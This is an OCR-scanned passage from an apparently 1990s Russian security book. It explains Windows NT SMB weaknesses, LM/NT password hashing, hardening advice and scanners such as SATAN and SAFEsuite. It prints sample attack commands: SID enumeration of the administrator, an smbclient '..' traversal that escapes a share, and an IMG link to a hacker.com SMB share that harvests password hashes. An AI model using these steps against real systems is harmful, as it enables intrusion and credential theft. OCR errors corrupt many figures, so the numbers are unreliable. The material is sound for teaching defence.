благодаря наличию общеизвестных (well-known) имен и идентификаторов
субъектов.

  С целью идентификации субъектов (пользователей или групп) Windows NT
использует SID (security identifier - идентификаторы безопасности), но, в
отличие от UID в UNIX, они у NT более сложные, имеют большую длину и
уникальны для каждого пользователя даже на разных компьютерах. SID принято
записывать в виде S-1-XXXXX-YYYYY,-YYYYY,-.." где S-1 - идентификатор
безопасности, версия 1; ХХХХХ - номер ведомства (authority);
YYYYY - номера подразделений (subauthority), причем последний из них
задает RID (relative identifier - относительный идентификатор), который не
будет уникальным для каждого компьютера. Например, для администратора -
RID всегда 500 (прямая аналогия с UID root в UNIX, который всегда 0).

  Итак, каждый идентификатор сопоставляется с некоторым субъектом, и
существуют функции Win32 API, позволяющие получить SID по имени
(LookupAccountName), и наоборот (LookupAccountSid).

  Теперь нетрудно догадаться, что после установки анонимного подключения эти
функции возможно применить и к удаленному компьютеру. Российским
исследователем Евгением Рудным были написаны две простые программы,
sid2user и user2sid, осуществляющие такие вызовы. Дальше кракеру поможет
знание общеизвестных имен или RID.

  Например, чтобы найти настоящее имя администратора (для большей
безопасности Microsoft рекомендует его переименовывать), можно
использовать примерную схему:

  1. Осуществить поиск любого стандартного имени на удаленном компьютере, к
примеру "Domain Users": "user2sid \\194.94.94.94 "Domain users",
что выдаст, например: S-1-5-21-111111111-22222222-33333333-513, то есть
ведомство 5, подразделение 21-111111111-22222222-33333333, RID 513. 2,
Найти имя администратора (он же входит в пользователи домена,
a RID всегда один и тот же!): "sid2user \\194.94.94.94 5 21 111111111
22222222 33333333 500 Name is Vovse_Ne_Adn)inistrator Domain is
Vovse_Ne_Domain Type of SID is SidTypeUser
Далее можно просмотреть всех остальных пользователей и, более того,
отследить временную иерархию их создания или удаления.

  Несколько похоже на получение информации о системе через finger, не так
ли? С одним маленьким дополнением - службу finger запретить легко, а здесь
ничего не сделать.

  Протокол SMB в глобальных сетях
Протокол SMB известен давно и имеет несколько диалектов - от PC Network
Program, предназначенного для сетевых расширений DOS, до NT LM 0.12,
применяемого уже в Windows NT. К сожалению, с точки зрения безопасности
эти диалекты совместимы снизу-вверх, точнее, серверу приходится
поддерживать несколько из них. Это приводит, например, к такой простой
атаке, как указание клиенту передавать пароль в открытом виде, потому что
сервер якобы не поддерживает зашифрованные пароли. Естественно, роль
сервера здесь выполняет ложный сервер злоумышленника (см. главу 3).

  Из-за поддержки устаревших с точки зрения безопасности сетевых решений SMB
может быть подвержен атаке на получение доступа ко всему диску, если у
злоумышленника есть права только на его часть (каталог). Для этого
взломщику достаточно указать имя каталога через ".." $snibclient
\\\\VICTIM\\SOME_DIR -n TRUSTME -m LANMAN2 -U HACKER -1 194.94.94.94
smb: \" dir suit): \" cd . .

  smb: \. .\" dir
smb: \..\"cd \..\..

  smb:\..\..\"dir
smb: \. .\. .\" get config.sys -
smb; \..\..\" cd windows
smb: \. .\. .\windows\"
Далее злоумышленник может поместить в системный каталог Windows, например,
"троянского" коня. Первоначальная реакция Microsoft: "Samba -это
неправильный клиент, и он не должен быть использован".

  Аналогичные попытки делает и NAT (NetBIOS Auditing Tool) -
распространенное средство анализа безопасности для Windows-сетей. Вот
фрагмент его исходного текста:

  strcpy(cur_dir, "..\\*.*"):

  do_dir (inbuf, outbuf, cur_dir, fattr, cfflp_stash, False);
tested_stash = 0:

  strcpy(cur_dir, "\\..\\*.*");
do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False):

  tested_stash = 0;
strepy (cur_dir, "...\\*.*"),
do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);
tested_stash = 0;
strcpy (cur_dir, ".\\.. .\\*. *");
Вообще, ошибки, связанные с подменой файлов через относительные пути,
становятся сильно распространенными. Все крупные производители серверов
для Windows NT их допустили, по крайней мере, по одному разу (см. главу
10). Что касается вышеприведенного фрагмента, то он датирован 17.02.97.

  Как видно, автор NAT прекрасно был осведомлен о возможности доступа к
каталогу в Windows 95 (в Windows NT такой возможности нет), лежащему двумя
уровнями выше, через "...". Только почти два года спустя эта "особенность"
Windows 95 стала хорошо известна, когда таким же образом удалось получить
доступ ко всему диску путем указания URL вида http://www.victim.com/.../.

  Попытки использовать SMB в качестве протокола для глобальных сетей
приводят и к другим весьма серьезным уязвимостям. Оказывается, можно,
например, удаленно получить имя и хэшированный пароль пользователя без его
ведома. И в самом деле, указав в HTML-странице ссылку вида: "IMG SRC =
"file:////hacker.com/share/image.gif"", злоумышленник заставит ваш браузер
присоединиться к SMB-серверу hacker.com. Windows NT позволяет сделать это,
даже не спрашивая пользователя о подтверждении: она просто передает имя и
хэшированный пароль на сервер! Такой атаке подвержена Windows NT версий
3.51 и 4.0 вплоть до последних Service Pack, в качестве браузера может
выступать любой -Microsoft Internet Explorer или Netscape Navigator от
вторых версий до четвертых. Это и не удивительно, так как уязвимость
является фундаментальной и исправить ее любым Service Pack практически
невозможно, надо серьезно пересматривать сам процесс
идентификации-аутентификации SMB-клиентана сервере.

  Получается, свершилось то, о чем даже не мечтали UNIX-хакеры! Можно
удаленно "стянуть" имя и зашифрованный пароль пользователя, прав-
да, эта атака пассивна - незадачливый "клиент" сам заходит на враждебный
сайт, а не наоборот.

  Представитель Microsoft Майк Нэш (Mike Nash), отвечающий за маркетинг
Windows NT, узнав об этой уязвимости, заявил: "Хорошо, что люди тестируют
наши продукты, и лучшее, что мы можем сделать, - повысить осведомленность
наших покупателей в вопросах безопасности" Итак, следующие особенности
Windows NT приводят к успеху удаленных атак на разделяемые ресурсы:

  
 наличие "скрытых" разделяемых ресурсов, восстанавливающихся при каждой
перезагрузке сервера;

 наличие анонимного пользователя и "нуль-сеанса" подключения к 1РС$;

 наличие общеизвестных имен и идентификаторов безопасности;

 наличие нескольких диалектов SMB;

 перекладывание некоторых функций SMB-сервера на клиентов;

 непригодность стандартной процедуры входа в систему для глобальных сетей.

  Процедуры идентификации и аутентификации
Из предыдущих разделов читатель уже уяснил, что для любых действий с
сервером Windows NT сначала нужно зарегистрироваться. Рассмотрим процедуры
идентификации и аутентификации в этой ОС, используемые в них
криптографические алгоритмы и сравним их с аналогичными процедурами в UNIX.

  Упрощенно можно считать, что в Windows NT существует две принципиально
разные процедуры регистрации на сервере - локальная и удаленная. Для
первой, так же как и в UNIX, хэш от введенного пароля пользователя
сверяется с эталонным хэш-значением, хранящимся в базе данных диспетчера
учетных записей (SAM - Security Account Manager). Для удаленной процедуры
можно было применить ту же схему, но тогда значение хэша пользователя
передавалось бы по каналам связи на сервер и в принципе могло быть
перехвачено кракером. Поэтому здесь, в отличие от UNIX, используется
механизм "запрос-отклик", при котором в общедоступные каналы связи
передается только зашифрованное на случайном ключе хэш-значение.

  Функции хэширования паролей
1 В ОС Windows NT для защиты паролей используются две однонаправлен-1 ные
хэш-функции: хэш Lan Manager (LM-хэш) и хэш Windows NT I (NT-хэш). Наличие
двух функций, выполняющих одно и то же, говорит
о совместимости со старыми ОС. LM-хэш был разработан Microsoft для
операционной системы IBM OS/2, он интегрирован в Windows 95/98, Windows
for Workgroups и частично в Windows 3.1. Хэш Windows NT был разработан
специально для ОС Microsoft Windows NT, и его умеют вычислять только
последние версии ОС этого семейства, начиная с Windows 95. Функция LM-хэш
основана на алгоритме DES; NT-хэш является не чем иным, как известной
хэш-функцией MD4.

  Обычно в базе данных SAM хранятся, будучи дополнительно зашифрованными по
алгоритму DES с ключом, зависящим от RID пользователя, оба хэш-образа
пароля. Но иногда в системе может храниться только один из них. Очевидно,
это будет происходить в случае, когда пользователь меняет пароль из ОС, нс
поддерживающей NT-хэш, - тогда в базу SAM записывается только LM-хэш (а
поле NT-хэша обнуляется). И наоборот, если пароль пользователя превышает
14 байт, то туда попадет один лишь NT-хэш.


          - -------------------------------------------------------------

I В документации Microsoft сказано, что длина паролей Windows NT может
достигать 128 символов. Однако User Manager (диспетчер пользователей)
ограничивает длину до 14 символов.


          - -------------------------------------------------------------

При обоих способах входа в систему (локальном и удаленном) процедура
аутентификации сначала пытается сверить NT-хэш. Если его не оказывается
(либо в базе SAM, либо в переданной информации), тогда она пытается
проверить подлинность по LM-хэшу. Такая схема призвана обеспечить большую
надежность сетей Windows NT, но в то же время и совместимость со старыми
сетевыми клиентами. Однако первое ей не удается по той простой причине,
что часто клиент не знает, какой хэш следует передавать серверу, в
результате оба хэша передаются одновременно, и стойкость их равна
стойкости наиболее слабого из них. Какого же? Функция хэша Lan Manager
вычисляется таким образом:

  1. Пароль превращается в 14-символьную строку путем либо усечения более
длинных паролей, либо дополнения коротких паролей нулевыми элементами.

  2. Все символы нижнего регистра переводятся в верхний регистр. Цифры и
специальные символы остаются без изменений.

  3. Полученная 14-байтовая строка разбивается на две 7-байтовых половины.

  4. Каждая половина строки используется в роли ключа DES при шифровании
фиксированной константы, что дает две 8-байтовых строки.

  5. Эти строки сливаются для создания одного 16-разрядного значения
хэш-фуикции.

  Из этого можно сделать вывод, что атаки на функцию LM-хэша достигают
успеха по следующим причинам:

  1. Преобразование всех символов в верхний регистр ограничивает и без того
небольшое число возможных комбинаций для каждого (26 + 10+ 32 - 68).

  2. Две "половины" пароля хэшируются независимо друг от друга. Таким
образом, обе 7-символьные части пароля могут подбираться перебором
независимо друг от друга, и пароли длиной более семи символов не сильнее
паролей длиной в семь символов. Следовательно, для гарантированного
нахождения пароля необходимо перебрать вместо 94" + 94' + ...+ 94^ - 4 x
1027 всего лишь 68° +68' +...+6У" 7х10" " 1" комбинации (то есть почти в
10^ раз меньше).


          - -------------------------------------------------------------

I По логике вещей эту сумму надо было умножить на два, так как необхо-^^д
димо перебирать две половинки хэша. Но нетрудно оптимизировать атаку так,
чтобы перебрались все пароли только по одному разу, сравнивая поочередно
их хэш-значение с каждой половинкой, что сократит время перебора почти в
два раза.


          - -------------------------------------------------------------

Кроме того, пароли, длина которых не превышает семи символов, очень легко
распознать, поскольку вторая половина хэша будет одним и тем же значением
AAD3B435B51404EE, получаемым при шифровании фиксированной константы с
помощью ключа из семи нулей. '
3. Скорость перебора паролей в 15 раз больше, чем в UNIX, и достигает 190
000 паролей/с на Pentium 166.

  4. Нет элемента случайности (привязки (salt), как это сделано в cryptO) -
два пользователя с одинаковыми паролями всегда будут иметь одинаковые
значения хэш-функции. Таким образом, можно заранее составить словарь
хэшированных паролей и осуществлять поиск неизвестного пароля. Это
позволит увеличить скорость перебора на несколько порядков.

  Итак, хэш-функция, разработанная на базе того же самого алгоритма DES, но
на 10-15 лет позже функции crypt(), оказывается хуже последней по всем
параметрам, а именно:

  
 по мощности перебора для гарантированного подбора пароля - почти в 1000
раз;

 по скорости перебора - почти в 15 раз;

 по отсутствию случайности, что приводит к уменьшению требуемой памяти
для хэширования каждого пароля, - в 4 096 раз.

  Не удивительно, что фирме Microsoft пришлось разрабатывать более
криптостойкую функцию (точнее, не изобретать велосипед, который мог
оказаться с квадратными колесами, а воспользоваться готовым образцом). Хэш
Windows NT вычисляется следующим образом.

  1. Пароль длиной до 128 символов преобразуется в строку в кодировке
Unicode, при этом сохраняются разные регистры.

  2. Эта строка хэшируется с помощью MD4, что дает в результате 16-байтовое
значение хэш-функции.

  Хэш Windows NT обладает преимуществом по сравнению с функцией хэша Lan
Manager - различаются регистры, пароли могут быть длиннее 14 символов, для
хэширования используется весь пароль в целом, а не его части, хотя
по-прежнему отсутствует элемент индивидуальности. Таким образом, люди,
имеющие одинаковые пароли, всегда будут иметь одинаковые хэш-значения.

  Удаленная аутентификация
Механизм удаленной регистрации на сервере (надо отдать должное
разработчикам Windows NT) более надежен тем, что ни пароль пользователя,
ни его хэш не передаются по сети в открытом виде (по крайней мере, в
последних диалектах SMB). Впрочем, это не оригинальная находка Microsoft,
а стандартный механизм большинства систем клиент - сервер, если связь
между ними осуществляется по небезопасным каналам.

  Функционирует механизм удаленной аутентификации, называемый
"запрос-отклик", таким образом:

  1. Клиент выдает команду на подключение к серверу.

  2. Сервер либо возвращает пакет, в котором присутствует флаг, требующий от
клиента передавать пароль в открытом виде (то есть сервер не поддерживает
последние диалекты SMB), либо возвращает 8-байтовый случайный запрос
(challenge). Далее рассматривается только последний вариант.

  3, Клиент вычисляет LM-хэш введенного пароля, добавляет к нему пять нулей,
получая таким образом 21-байтовую строку. Далее он делит ее на три
7-байтовых части, каждая из которых используется как отдельный ключ в
алгоритме DES, - на этих ключах независимо три раза зашифровывается
полученный запрос, что приводит к появлению 24-разрядного шифрованного
значения. Поскольку клиент не знает, значения каких хэш-функции определены
для данного пользователя в базе данных SAM на сервере, то он поступает
аналогично и с хэш-функцией Windows NT. Таким образом, длина отклика
клиента достигает 48 байт.

  4. Сервер ищет то значение хэш-функции в своей базе данных SAM, которое
присуще данному пользователю, аналогично шифрует запрос с его помощью и
сравнивает с нужной половиной полученного отклика. Если значения
совпадают, аутентификация считается состоявшейся. Из сказанного можно
сделать следующие выводы:

  1. Все-таки есть возможность передачи пароля открытым текстом.

  Соответственно, используя механизм ложного сервера, можно заставить
клиента передавать незашифрованные пароли.

  2. Для успеха аутентификации злоумышленнику не нужно знать оригинальный
пароль пользователя. Это вполне очевидно, так как сервер также его не
знает, а пользуется только хэш-значением. Владея этим значением,
злоумышленник может подключаться к серверу.

  3. При этом взломщик не получит это хэш-значение, непосредственно
перехватив один или более сеансов подключения к серверу, потому что оно
используется как ключ шифрования. Итак, самый реальный способ для
злоумышленника - извлечение хэша непосредственно из базы данных на сервере.

  4. Клиенту приходится передавать два отклика, для обоих хэш-значений. И в
этом случае LM-хэш, естественно, оказывается более слабым. В частности,
сразу можно выяснить, длиннее ли 7 символов пароль пользователя: если нет,
то третий ключ DES будет представлять собой фиксированную константу
04ЕЕОООООООООО, с помощью которой легко зашифровать запрос и проверить,
тот ли отклик был отправлен серверу. Совершенно очевидно, что для подбора
LM-хэша взломщику, когда у него есть перехваченные запрос и отклик,
потребуется не больше действий, чем для восстановления пароля по хэшу, так
как за те же самые 2^ операции он легко восстановит и оригинальный пароль,
и хэш. При WWW-доступе к серверу IIS, требующем аутентификации,
используется тот же самый механизм "запрос-отклик". Но существует
единственное отличие - и запрос, и отклик кодируются для передачи в рамках
протокола http с помощью base64, то есть практически передаются так же,
как и в локальных сетях, со всеми вытекающими отсюда последствиями.

  Впрочем, базовая схема аутентификации http является еще более слабой,
требуя и имя, и пароль пользователя в открытом виде. Соответствующий
запрос может выглядеть примерно так: http://user:password@www.victim.com.

  Таким образом, основной проблемой, ослабляющей алгоритмы аутентификации в
Windows NT, является передача нестойкого значения LM-хэша даже в сетях,
где нет других серверов и клиентов, кроме Windows NT. В частности, пароли
любой длины из латинских букв будут вскрыты
нарушителем в среднем за (26 + 262+ ... 26^ / (2х190000) " 22 000 секунд,
или всего за 6 часов!

  Поэтому фирма Microsoft выпустила заплатку (hot-fix), называемую lm-fix
(она вошла потом в Service Pack 4), которая может запретить использование
LM-хэша, и он не будет передаваться.

  К сожалению, недостатки такого решения лежат на поверхности - теряется
совместимость с другими ОС. В частности, hot-fix должна устанавливаться и
на сервер, и на все клиенты, так как в противном случае, при обращении,
например, к закрытой WWW-странице, будет выдаваться сообщение типа: 500
Server Error (-2146893054). Аналогичное сообщение последует и при попытке
доступа с клиентов под управлением Windows 95.

  Увы, подобное решение проблемы вносит и дополнительные ошибки, что очень
наглядно продемонстрировал Service Pack 4: если клиент после установки
Service Pack 4 изменит свой пароль при помощи ОС, не поддерживающей NT-хэш
(при этом, как объяснялось выше, его значение в базе SAM обнулится), то
потом при входе в систему такое нулевое значение будет ошибочно
приниматься за отсутствие пароля, при условии, что для аутентификации
использовался NT-хэш.

  Как защитить свой хост
Узнав такой впечатляющий набор фактов об уязвимости вашей системы, вы,
несомненно, зададите себе вопрос: как же обеспечить защиту в сети и
возможно ли это? Не будем дискутировать на философскую тему "Почему
абсолютная защита невозможна". В любом случае задача каждого
администратора безопасности - сделать все, чтобы максимально ее улучшить,
Надеемся также, что вы уже прочитали рассуждения в главе 8 по вопросу "А
что мне защищать?". Поэтому советуем придерживаться следующих концепций:

  1. Актуальность - защищаться надо от реальных атак, а не от фантастических
или, наоборот, архаичных времен вируса Морриса.

  2. Разумность затрат - поскольку 100-процентной защиты мы все равно нс
обеспечим, надо найти тот рубеж, за которым затраты на дальнейшее
повышение безопасности оказываются выше стоимости той информации, которую
может украсть взломщик. Итак, ниже (табл. 9.2) приводится список очень
простых правил и действий (некоторые идеи взяты из Таблица 9.2.

  Административные меры усиления защиты серверов в Internet




  Перечисленные меры позволят вам не подпустить к своему хосту до 99% всех
кракеров. Но ненадолго. Для того чтобы поддерживать систему в таком
защищенном состоянии, советуем раз в одну-две недели вновь посещать CERT
или С1АС. Также не забывайте контролировать наличие вирусов или
"троянских" коней. Не менее полезно подписаться на листы рассылки или
дайджесты по безопасности, лучшим из которых, на наш 
взгляд, является

                                    BUGTRAQ.


  Остальные меры, предусмотренные для отлова последнего процента самых
достойных кракеров, являются превентивными, они не направлены конкретно на
ту или иную службу. Возможно, они будут сопряжены с более или менее
значительной переделкой вашего хоста:

  1. Придумайте какую-нибудь собственную изюминку, очень простую (чтобы
поставить слишком умных кракеров в тупик), типа переименования
какой-нибудь важной команды или сообщения на входе "FSB host. Vvedite
vashe imya i zvanie:".

  2. Используйте более простые программы - в них меньше ошибок. В UNIX -
избавьтесь от sendmail, поставьте другой SMTP-демон, в Windows NT - не
стоит для этих же целей использовать монстров типа Microsoft Exchange
Server.

  3. Выкиньте некоторые малоиспользуемые службы (типа finger, talk, rpc) и
ужесточите настройки вашего межсетевого экрана.

  4. Поставьте proxy-сервер для дополнительной аутентификации извне, а также
для скрытия адресов и топологии внутренней подсети.

  5. Перенесите весь сервис, требующий входящих соединений (http, SMTP), на
отдельную машину и оставьте ее в открытой сети. Удалите с этой машины всю
лишнюю информацию. Все остальные машины спрячьте за межсетевым экраном с
полным отключением входящего трафика.

  6. Поставьте защищенную версию UNIX или другой операционной системы.

  Средства автоматизированного контроля безопасности
Мы уже говорили о пользе средств автоматизированного контроля безопасности
отдельного компьютера, а также всей подсети, за которую он отвечает, для
системного администратора. Естественно, такие средства появлялись ранее, и
чаще других встречаются названия COPS (Computer Oracle and Password
System), SATAN (Security Administrator Tool for Analizyng Networks), ISS
(Internet Security Scanner). К сожалению, они не лишены недостатков:

  1. Систсмозависимость - обычно рассчитаны на вполне конкретную ОС или даже
ее версию.

  2. Ненадежность и неадекватность - если эти программы сообщают, что все
о'кей, то совсем не значит, что так оно и есть, и наоборот - некая
"уязвимость", с их точки зрения, может оказаться специальным вариантом
конфигурации системы.

  3. Маленький срок жизни - с момента обнаружения уязвимости до ее
искоренения проходит не больше года, и программа устаревает.

  4. Неактуальность - с момента выхода программы в свет все новые, и потому
самые опасные, уязвимости оказываются неизвестными для нее, и ценность
программы быстро сводится к нулю. Этот недостаток является самым серьезным.

  5. Возможность использовать средства с прямо противоположными целями - для
взлома вашей системы, а не для тестирования на предмет изъянов.

  Прослеживается явная аналогия программ с антивирусными сканерами первого
поколения - те знали лишь строго определенный набор вирусов, а новые
вирусы добавлялись только в следующем выпуске программы. Если посмотреть
на возможности современных антивирусных программ -это и оперативное
лечение вирусов, и автоматизированное пополнение базы вирусов самим
пользователем, и поиск неизвестных вирусов, то можно пожелать, чтобы
хороший сканер Internet смог позаимствовать некоторые из них. В первую
очередь - пополнять базы новыми уязвимостями. Причем в наши дни сделать
это несложно - достаточно лишь скачивать информацию с источников типа CERT
или С1АС, занимающихся как раз сбором таких сведений.

  Программа SATAN
После общего введения мы решили познакомить читателя с таким нашумевшим
средством, как SATAN, которое и до сих пор иногда считается чуть ли ни
самой опасной программой из написанных, на что указывает и зловещее
название, и возможность влезть в самый защищенный компьютер (рис. 9.6).

  Насчет названия сразу подчеркнем, что в момент инсталляции с помощью
специальной процедуры вы можете поменять его на SANTA (Security Analysis
Network Tool for Administrator), а заодно и зловещего сатану на
симпатичного Деда Мороза (рис. 9.7). А что касается влезания в компьютер
(не любой, конечно) - если подобная программа и имелась бы у хакеров или
спецслужб, то она никогда не стала бы свободно распространяться по
Internet, как это происходит с SATAN.

                                        


  На самом деле SATAN - это добротно сделанная, с современным интерфейсом
программа для поиска брешей в вашей подсети (Intranet - как модно говорить
в последнее время), написанная на машинно-независимых языках Peri и С,
поэтому она в некоторой мере преодолевает первый из вышеописанных
недостатков. SATAN даже допускает возможность для расширения и вставки
новых модулей. К сожалению, во всем остальном ей присущи указанные
недостатки, в том числе и самый главный - она уже устарела и не может в
настоящий момент серьезно использоваться ни администраторами, ни хакерами.

  Поэтому непонятен мистический страх перед всемогуществом SATAN. Авторы,
готовя материал для книги, сами столкнулись с таким отношением и были
немало этим удивлены. Однако на момент выхода (1995 г.) программа была
достаточно актуальной, содержала в себе поиск большинства уязвимостей,
описанных в разделе "Типичные атаки". В частности, последняя (во всех
смыслах) ее версия ищет уязвимости в следующих службах:

  
 РТРиТРТР;

 NFS и NIS;

 rexd;

 sendmail;

 r-службах;

 X-Window.

  Существуют также и дополнения к SATAN, в которые включены другие
уязвимости.

  Для поиска уязвимостей программа сначала различными способами собирает
информацию о вашей системе, причем уровень проникновения конфигурируется
пользователем и может быть легким, нормальным или жестким (рис. 9.8).

  Рис. 9.8. Настройки программы SATAN
Легкий уровень, по утверждению авторов программы, не может быть обнаружен
атакуемой стороной (по крайней мере, такая активность программы не
принимается за враждебную) и включает в себя DNS-запросы для выяснения
версии операционной системы и другой подобной информации, которую можно
легально получить с использованием DNS. Далее она посылает запрос на
службу RPC (remote procedure call), чтобы выяснить, какие грс-сервисы
работают.

  Нормальный уровень разведки включает в себя все запросы легкого уровня, а
также дополняет их посылкой запросов (сканированием) некоторых строго
определенных портов, таких как FTP, telnet, SMTP, NNTP, UUCP и др., для
определения установленных служб.

  Наконец, жесткий уровень включает в себя предыдущие уровни, а также
дополняется полным сканированием всех возможных UDP- и TCP-портов для
обнаружения нестандартных служб или служб на нестандартных портах. Авторы
программы предостерегают, что такое сканирование может быть легко
зафиксировано даже без специальных программ (например, на консоли могут
появляться сообщения от вашего межсетевого экрана).

  Другим важным параметром, задаваемым при настройке SATAN, является глубина
просмотра подсетей (proximity): 0 означает только один хост, 1 - подсеть,
в которую он входит, 2 - все подсети, в которые входит подсеть данного
хоста, и т. д. Авторы средства подчеркивают, что ни при каких
обстоятельствах это число не должно быть более 2, иначе SATAN выйдет
из-под контроля и просканирует слишком много внешних подсетей.

  Собственно ничем более страшным, кроме как сканированием портов и
обнаружением работающих служб и их конфигурации, SATAN не занимается. При
этом, если находятся потенциальные уязвимости, она сообщает об этом. Как
пишут сами авторы программы, фаза проникновения в удаленную систему не
была реализована.

  SATAN использует очень современный интерфейс - все сообщения программы
оформляются в виде HTML-страниц, поэтому работа с ней мало чем отличается
от плавания (surf) по Internet в любимом браузере (SATAN поддерживает
любой из них, будь то lynx, Mosaic или Netscape). Пользователь может
отсортировать найденные уязвимости (по типу, серьезности и т.п.) и тут же
получить развернутую информацию по каждой из них. Для поддержки браузеров
в SATAN входит собственный http-сервер, выполняющий ограниченное число
запросов, а связь с ним осуществляется при помощи случайного 32-битного
числа (magic cookie), которое выполняет дополнительную аутентификацию
http-клиента. Иначе говоря, оно служит для предотвращения перехвата
конфиденциальной информации браузе-ром, отличным от запущенного самой
SATAN, а также против любого взаимодействия с собственным http-сервером
SATAN. Любопытно, что версии до I.I.I в этой схеме аутентификации тоже
содержали ошибку, которая даже попала в один из бюллетеней CERT. Итак,
типичный сценарий работы с SATAN заключается в следующем:

  1. Настроить желаемые параметры, в том числе глубину сканирования.

  2. Задать адрес цели и уровень сканирования.

  3. Просмотреть полученные результаты и получить по ним более подробную
информацию.

  4. Устранить найденные уязвимости.

  Администратору безопасности рекомендуется просканировать все свои хосты, а
также все доверенные хосты, обязательно спросив на это разрешение у их
администраторов. Несмотря на то что SATAN устарела, выполнив это, вы
сможете быстро получить список используемых сетевых служб и их версий и
проверить, нет ли среди них уязвимых, воспользовавшись материалами CERT
или С1АС.

  Семейство программ SAFEsuite
В последние годы заслуженной популярностью пользуются программные
средства, предлагаемые компанией Internet Security Systems (ISS, http://
www.iss.net). Они имеют достаточно долгую историю, в частности программа
Internet Security Scanner (тоже ISS) известна с 1992 года, когда она была
еще условно бесплатной и работала только под UNIX.

  С тех пор многое изменилось. В настоящее время компания ISS производит
целое семейство продуктов автоматизированного контроля безопасности и
обнаружения атак SAFEsuite. Туда входит сильно измененная Internet Scanner
(по существу, это уже другая программа), анализирующая систему снаружи;
System Scanner, анализирующая ее изнутри; и RealSecure, обнаруживающая и
отражающая удаленные атаки. Безусловным достоинством этих программ
является то, что они регулярно обновляются, причем в них добавляется не
только описание новых уязвимостей и подвидов атак, но и новые механизмы их
обнаружения и отражения. Именно мощная поддержка семейства SAFESuite и
выводит его в лидеры - иначе через полгода эти программы были бы никому не
нужны, как это случилось со многими разработками конкурентов.

  Значительные вложения оправдывают и цену - эти программы далеко не
бссплатны, в отличие от SATAN, и стоят сотни долларов, что в данном случае
неплохо, так как несколько ограничит число потенциальных краке-ров. Для
запуска программ нужен ключ, пересылаемый вам при покупке пакета, а в
оценочную (evaluation) версию обычно включен ключ, который разрешит вам
сканирование только своего собственного хоста. Это семейство реализовано
под 10 платформ:

  
 Windows NT;

 Windows 95;

 Windows 98; ' Windows 2000;

                                    
 HP/UX;


                                     
 AIX;


 Linux;

 SunOS;

 Solaris;

                                     
 IRIX.


  Любая из реализаций знает уязвимости и других платформ. Система Internet
Scanner, хотя должна запускаться на одной из вышеперечисленных платформ
(за исключением Windows 9х и IRIX), может быть использована для анализа
защищенности любых систем, основанных на стеке протоколов TCP/IP.

  Функционально Internet Scanner 5.6 (последняя версия па начало 1999 года)
состоит из трех частей: сканер межсетевого экрана (Firewall Scanner),
Web-сканер (Web Security Scanner) и сканер Intranet (Intranet Scanner).

  При этом, как и в SATAN, есть три стандартных уровня сканирования -легкий,
нормальный и жесткий, но пользователь может сам настроить те уязвимости,
которые войдут в каждый уровень сканирования (рис. 9.9). К тому же он
имеет широкие возможности по редактированию следующих классов уязвимостей
и проверок:

  
 наличие пользователей/паролей по умолчанию и проверка на тривиальность
паролей в FTP, POPS, telnet, rsh, rexec;

 проверка многих уязвимых демонов, от UUCP до httpd;

 проверки на подверженность атакам в обслуживании, от различных штормов
до плохих пакетов, а также ICMP Redirect;

 проверки NFS и X-Windows;
' проверки на уязвимость служб, использующих RPC, в том числе NIS, pcnfsd
и др.;

 отдельно вынесены .проверки в Sendmail/FTP - от команды "debug" до
современных уязвимостей;

 наличие разделяемых ресурсов Windows и тривиальность их паролей;

 надежность паролей пользователей Windows NT, а также установленной
политики использования паролей и обнаружения нарушителей;

 различные настройки реестра Windows NT; ' настройки системы аудита
Windows NT;

 проверки WWW-сервера, в том числе возможность задания URL, содержащего
точки и доступности исходных текстов ASP-файлов;

 настройки межсетевых экранов и возможность входа на них (например,
Cisco, Checkpoint, Raptor);

 установки proxy- и DNS-серверов;

 IP Spoofing, включая возможность предсказания TCP-последовательности и
атак на г-службы.

  Это единственная система такого класса, получившая в 1998 году сертификат
Государственной технической комиссии при Президенте РФ ° 195 от 02.09.98.

  В отличие от системы Internet Scanner, рассматривающей хосты на уровне
сетевых сервисов, System Scanner проводит анализ на уровне операционной
системы, что позволяет ей протестировать гораздо больше потенциальных
уязвимостей типа локальных переполнений буфера, неверных прав на файлы или
каталоги и т. и. Поэтому, несмотря на возможность некоторого дублирования
информации в создаваемых отчетах, этот продукт дополняет Internet Scanner.

  System Scanner, помимо UNIX и Windows NT, поддерживает также проверку ОС
Windows 95/98.

  Сетевой монитор RealSecure
Наконец, последний и самый быстроразвивающийся продукт - сетевой монитор
безопасности RealSecure 3.0 (рис. 9.10). Первоначально он мог только
обнаруживать и по факту обнаружения останавливать удаленные атаки. В
последних версиях, благодаря возможности управления межсетевым экраном и
маршрутизатором, он может также и предотвращать их,


  динамически меняя правила фильтрации на межсетевом экране или списке
контроля доступа (ACL) маршрутизатора. Монитор ориентирован на защиту как
целого сегмента сети, так и конкретного узла. Для обнаружения атак oil
использует так называемые сигнатуры, чем еще раз подтверждается сходство
подобных продуктов с антивирусными сканерами. В базе данных RealSecure
есть следующие классы сигнатур удаленных атак (рис. 9.11):

  
 отказ в обслуживании (типа Land, Smurf, 00В - см. главу 4);

 попытки несанкционированного доступа (например, все тот же "debug" в
SMTP, "site exec" в ftp, доступ к ASP-файлам, различные переполнения
буфера с возможностью исполнения кода);

 подготовка к атакам (различные способы сканирования портов, команда
"ехрп" в SMTP II др.);

 подозрительная активность (в том числе ЛКР-запросы, удаленный доступ к
реестру);


  Рис. 9. 1 1. Детализация события в RealSecure
* подозрительные команды на уровне протоколов (передача паролей в разных
службах, передача cookies, анонимное подключение к ресурсам).

  На сегодняшний день, по мнению многих экспертов, продукты семейства
SAFEsuite являются лидерами на рынке.



                                     ГЛАВА 10


                                 АТАКА ЧЕРЕЗ WWW

  Мы - работники КОМКОНа-2. Нам разрешается слыть невеждами, мистиками,
суеверными дураками. Нам одно не разрешается: недооценить опасность. И если
в нашем доме вдруг завоняло серой, мы просто обязаны предположить, что
где-то рядом объявился черт с рогами, и принять соответствующие меры вплоть
до организации производства святой воды в промышленных масштабах.

  А. Стругацкий, Б. Стругацкий. Волны гасят ветер

  Вопросы атаки через WWW мы решили рассмотреть в отдельной главе по
нескольким причинам. В настоящее время World Wide Web - пожалуй, самая
популярная служба Internet, то, с чем в первую очередь сталкивается
большинство людей, подключающихся к Сети. Атака через Web является едва ли
не самым частым способом взлома хостов и самым наглядным проявлением
кракерства.

  Атака на клиента

  Далеко не все пользователи Internet осознают, что, подключившись к Сети, они не только получают доступ ко
всему информационному богатству, но и открывают свой компьютер для доступа извне, а следовательно,
подвергают его угрозам, характерным для хостов Сети: угрозе раскрытия, нарушения целостности системы и
